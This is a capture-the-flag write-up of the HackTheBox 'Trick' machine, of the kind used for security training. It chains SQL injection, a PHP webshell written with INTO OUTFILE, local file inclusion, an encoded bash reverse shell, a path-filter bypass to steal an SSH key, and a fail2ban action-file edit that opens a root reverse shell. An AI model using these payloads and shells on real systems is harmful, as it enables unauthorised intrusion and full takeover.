Trick Writeup

30 October 2022 #CTF #HTB #box #easy #linux

trick info


There are no tricks with nmap:

$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap
22/tcp open  ssh
25/tcp open  smtp
53/tcp open  domain
80/tcp open  http
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp    Postfix smtpd
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2


When DNS is listening on a tcp port, it is usually for zone transfers. But we don't have any zone for now so let's do a basic query:

$ dig @ -x +short

We did a reverse lookup with -x.

Now that we have a domain name, we can try a zone transfer:

$ dig @ trick.htb axfr
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800

It works, we get another subdomain. Let's add trick.htb and preprod-payroll.trick.htb. to our /etc/hosts file.



There is just a 'Coming Soon' page:

coming soon

The email submission form doesn't do anything.

directory bruteforcing gives nothing either:

$ gobuster dir -u http://trick.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
/index.html           (Status: 200) [Size: 5480]
/assets               (Status: 301) [Size: 185] [-->]
/css                  (Status: 301) [Size: 185] [-->]
/js                   (Status: 301) [Size: 185] [-->]


Here we have a login page:

login page

Login SQL Injection

Let's try basic SQL injection:

SQLi login

And it works!

In the 'Users' page, we can edit the Administrator user and see their password:

admin password

UNION Injection

Clicking on the 'Edit' button makes a request to /manage_user.php

request to manage_user.php

Let's intercept this request in Burp and play with it:

SQLi test

Adding an SQL comment doesn't change the output, confirming this is vulnerable to (another) SQLi.

This time, we can use UNION injection:

UINION injection test

The first thing to test is if we have the 'FILE' privilege:

UNION SELECT LOAD_FILE('/etc/passwd'),2,3,4,5,6,7,8-- -

read /etc/passwd

Looks like we do.


There is also a LFI vulnerability in /index.php. The server seem to append .php after the page parameter.

This limits what we can do but we can extract php source code using php filters:

php filter to extract source code

We were right, here is the relevant part in index.php:

<?php $page = isset($_GET['page']) ? $_GET['page'] :'home'; ?>
    <?php include $page.'.php' ?>

We can find MySQL creds in /db_connect.php:

$conn = new mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db') or die("Could not connect to mysql".mysqli_error($con));

But it doesn't let us login with ssh.


We can take advantage of the fact that we have the FILE privilege in mysql + the LFI that can only read php files.

We'll write php code in a file with SELECT INTO OUTFILE and execute it with the LFI.

1337 UNION SELECT '<?php system("id"); ?>',2,3,4,5,6,7,8 INTO OUTFILE '/tmp/q.php'-- -

Now use the LFI to execute it:

LFI to execute php code

Sweet, let's get a reverse shell:

1337 UNION SELECT '<?php system("echo YmFzaCAtaSAgPiYgIC9kZXYvdGNwLzEwLjEwLjE0LjE0LzQyNDIgICAwPiYxICAK | base64 -d | bash"); ?>',2,3,4,5,6,7,8 INTO OUTFILE '/tmp/r.php'-- -

We base64 encode our payload to avoid bad characters (we already are in quotes). Add a few spaces here and there to avoid '+' and '=' characters in the base64. We also have to change the filename of the OUTFILE each time (it seems mysql doesn't let us overwrite non empty files).


www-data to michael

If we go in /var/www we see another web directory:

www-data@trick:~$ ls -lA
total 12
drwxr-xr-x 5 michael michael 4096 May 25 13:28 html
drwxr-xr-x 6 michael michael 4096 May 25 13:28 market
drwxr-xr-x 4 michael michael 4096 May 25 13:28 payroll

html is the 'Coming Soon' page and payroll is where we come from but we don't know what is this market directory. We can find the subdomain for this new site in the nginx config in /etc/nginx/sites-enabled/default:

server {
    listen 80;
    listen [::]:80;

    server_name preprod-marketing.trick.htb;

    root /var/www/market;
    index index.php;

    location / {
        try_files $uri $uri/ =404;

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;

Note that it is using a different php socket, running as 'michael' compared to the other one, running as 'www-data'.

After adding this subdomain to our /etc/hosts we can take a look at the website:

new hidden site

Clicking on the links we see that the site is using a page parameter (again) to load the different pages:

maybe LFI

We can inspect the source code to see if it is vulnerable:

$file = $_GET['page'];

if (!isset($file) || $file == "index.php")
    include("/var/www/market/".str_replace("../", "", $file));

It is using str_replace to remove all ../ from the parameter. This function isn't recursive, meaning the inner ../ in ....// will be removed but we still end up with a ../, rendering this mehtod completely useless:

bypass ../ filter to LFI

Since this php app is running as the michael user we can try to get his ssh key:

get michael private key

Don't forget to chmod 600 the key to avoid permissions error.

michael to root

Let's see if michael can run sudo:

michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

Interesting, but we will continue our enumeration:

michael@trick:~$ groups
michael security
michael@trick:~$ find / -group security -ls 2> /dev/null
   269281      4 drwxrwx---   2 root     security     4096 Oct 30 16:00 /etc/fail2ban/action.d

michael is a member of the 'security' group so he can write to this /etc/fail2ban/action.d directory.

Inside /etc/fail2ban/action.d various action definitions can be created. These files contain commands to execute to ban and unban a given host.

From the Gentoo Wiki.

We have to modify the actionban of one of the default action files. Let's choose iptables-multiport.conf because it is listed in /etc/fail2ban/jail.conf. However this file is owned by root and we don't have write permissions on it.

We can create a copy of this file:

michael@trick:/etc/fail2ban/action.d$ cp iptables-multiport.conf iptables-multiport.conf.bak

Modify the actionban to send us a reverse shell:

actionban = bash -c 'bash -i >& /dev/tcp/ 0>&1'

And rename it to overwrite the original file:

michael@trick:/etc/fail2ban/action.d$ mv -f iptables-multiport.conf.bak iptables-multiport.conf

Then, trigger the ban with crackmapexec (on our attack box):

$ crackmapexec ssh -u michael -p /usr/share/wordlists/rockyou.txt

And if all went as planned, we should catch a reverse shell as root.

Key Takeaways